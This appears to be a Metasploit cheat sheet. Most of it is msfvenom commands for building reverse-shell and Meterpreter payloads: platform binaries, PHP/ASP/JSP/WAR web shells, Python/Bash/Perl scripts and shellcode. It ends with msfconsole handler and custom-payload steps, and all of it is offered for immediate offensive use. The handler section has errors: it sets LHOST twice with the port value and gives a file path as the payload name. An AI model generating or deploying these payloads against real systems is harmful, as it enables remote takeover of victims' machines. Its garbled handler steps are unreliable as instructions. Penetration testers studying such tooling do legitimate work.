The most useful and to the beginner underrated abilities of Metasploit is the msfpayload module. Multiple payloads can be created with this module and it can provide you a shell in almost any situation. For each of these payloads, you can go into msfconsole and select "exploit/multi/handler". Run "set payload" for the relevant payload used and configure all necessary options (LHOST, LPORT, etc.).

For the examples below its pretty self explanatory but LHOST should be filled in with your IP address which must be your LAN IP if attacking within the network or WAN IP if attacking across the internet along with LPORT which must be the port you wish to be connected back on.


1. LIST AVAILABLE PAYLOADS
msfvenom -l

2. BINARIES PAYLOADS

2.1 Linux

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST="YOUR-IP-ADDRESS" LPORT="YOUR-LOCAL-PORT" -f elf > shell.elf

2.2 Windows

msfvenom -p windows/meterpreter/reverse_tcp LHOST="YOUR-IP-ADDRESS" LPORT="YOUR-LOCAL-PORT" -f exe > shell.exe

2.3 Mac

msfvenom -p osx/x86/shell_reverse_tcp LHOST="YOUR-IP-ADDRESS" LPORT="YOUR-LOCAL-PORT" -f macho > shell.macho

3. WEB PAYLOADS

3.1 PHP

msfvenom -p php/meterpreter/reverse_tcp LHOST="YOUR-IP-ADDRESS" LPORT="YOUR-LOCAL-PORT" -e php/base64 R > shell.php

Since the file has been encoded using base64, do not forget to open it using your favorite text editor and add "<?php" at the top and "?>" at the end.

3.2 ASP

msfvenom -p windows/meterpreter/reverse_tcp LHOST="YOUR-IP-ADDRESS" LPORT="YOUR-LOCAL-PORT" -f asp > shell.asp

3.3 JSP

msfvenom -p java/jsp_shell_reverse_tcp LHOST="YOUR-IP-ADDRESS" LPORT="YOUR-LOCAL-PORT" -f raw > shell.jsp

3.4 WAR

msfvenom -p java/jsp_shell_reverse_tcp LHOST="YOUR-IP-ADDRESS" LPORT="YOUR-LOCAL-PORT" -f war > shell.war

4. SCRIPTING PAYLOADS

4.1 Python

msfvenom -p cmd/unix/reverse_python LHOST="YOUR-IP-ADDRESS" LPORT="YOUR-LOCAL-PORT" -f raw > shell.py

4.2 Bash

msfvenom -p cmd/unix/reverse_bash LHOST="YOUR-IP-ADDRESS" LPORT="YOUR-LOCAL-PORT" -f raw > shell.sh

4.3 Perl

msfvenom -p cmd/unix/reverse_perl LHOST="YOUR-IP-ADDRESS" LPORT="YOUR-LOCAL-PORT" -f raw > shell.pl

5. SHELLCODE PAYLOADS

For all shellcode see "msfvenom --help-formats" for information as to valid parameters. Msfvenom will output code that can be cut and pasted in this language for your exploits.

5.1 Linux Based Shellcode

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST="YOUR-IP-ADDRESS" LPORT="YOUR-LOCAL-PORT" -f "LANGUAGE"

5.2 Windows Based Shellcode

msfvenom -p windows/meterpreter/reverse_tcp LHOST="YOUR-IP-ADDRESS" LPORT="YOUR-LOCAL-PORT" -f "LANGUAGE"

5.3 Mac Based Shellcode

msfvenom -p osx/x86/shell_reverse_tcp LHOST="YOUR-IP-ADDRESS" LPORT="YOUR-LOCAL-PORT" -f "LANGUAGE"

6. CREATE HANDLERS

Metasploit handlers can be great at quickly setting up Metasploit to be in a position to receive your incoming shells. Handlers should be in the following format.

msfconsole
msf > use exploit/multi/handler
msf exploit(multi/handler) > set LHOST "YOUR-IP-ADDRESS"
msf exploit(multi/handler) > set LHOST "YOUR-LOCAL-PORT"
msf exploit(multi/handler) > set PAYLOAD "/path/to/the/payload"
msf exploit(multi/handler) > set ExitOnSession false
msf exploit(multi/handler) > exploit -j -z

7. LOAD CUSTOM PAYLOADS

Metasploit allows you to generate Payload and use it during an attack. To use this function, simply generate your Payload before to run your attack and once you are done, use "payload/generic/custom" to specify the Payload to use.

msfconsole
msf > use payload/generic/custom
msf payload(custom) > show options
msf payload(custom) > set PAYLOADFILE "/path/to/the/payload"
msf payload(custom) > set PAYLOADSTR "the_payload_string_to_use"